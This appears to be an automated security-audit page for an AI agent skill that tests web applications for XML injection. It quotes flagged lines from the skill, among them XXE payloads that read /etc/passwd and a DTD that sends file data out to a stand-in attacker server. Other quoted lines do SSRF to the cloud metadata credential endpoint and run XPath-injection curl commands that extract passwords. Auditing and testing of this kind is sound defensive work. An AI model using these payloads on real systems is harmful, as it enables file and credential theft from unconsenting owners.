testing-for-xml-injection-vulnerabilities
Tests web applications for XML injection vulnerabilities, including XXE and XPath injection, to enhance security and prevent data exposure.
Install this skill
Security score
The testing-for-xml-injection-vulnerabilities skill was audited on Jun 5, 2026 and we found 27 security issues across 4 threat categories, including 1 critical. Review the findings below before installing.
Categories Tested
Security Issues
Curl to non-GitHub URL
| 56 | curl -s http://target.com/service?wsdl |
Curl to non-GitHub URL
| 59 | curl -X POST http://target.com/api/data \ |
Curl to non-GitHub URL
| 142 | curl "http://target.com/search?query=' or '1'='1" |
Curl to non-GitHub URL
| 145 | curl -X POST http://target.com/login \ |
Curl to non-GitHub URL
| 149 | curl "http://target.com/search?query=' or 1=1 or ''='" |
Curl to non-GitHub URL
| 152 | curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='" |
Curl to non-GitHub URL
| 153 | curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='" |
Access to /etc/passwd
| 72 | <!ENTITY xxe SYSTEM "file:///etc/passwd"> |
Access to /etc/passwd
| 86 | <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> |
Access to /etc/passwd
| 201 | 1. **File Disclosure** — Read sensitive server files (/etc/passwd, web.config) through classic XXE entity injection in XML input fields |
Access to /etc/passwd
| 218 | | 1 | XXE File Read | POST /api/import | SYSTEM "file:///etc/passwd" | Local File Disclosure | |
Prompting for password/secret input
| 201 | 1. **File Disclosure** — Read sensitive server files (/etc/passwd, web.config) through classic XXE entity injection in XML input fields |
External URL reference
| 56 | curl -s http://target.com/service?wsdl |
External URL reference
| 59 | curl -X POST http://target.com/api/data \ |
External URL reference
| 96 | <!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd"> |
External URL reference
| 103 | <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker-server.com/?data=%file;'>"> |
External URL reference
| 110 | <!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net"> |
External URL reference
| 120 | <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> |
External URL reference
| 127 | <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> |
External URL reference
| 134 | <!ENTITY xxe SYSTEM "http://internal-server:8080/"> |
External URL reference
| 142 | curl "http://target.com/search?query=' or '1'='1" |
External URL reference
| 145 | curl -X POST http://target.com/login \ |
External URL reference
| 149 | curl "http://target.com/search?query=' or 1=1 or ''='" |
External URL reference
| 152 | curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='" |
External URL reference
| 153 | curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='" |
External URL reference
| 211 | - **Target**: http://target.com/api/xml-endpoint |
External URL reference
| 220 | | 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft | |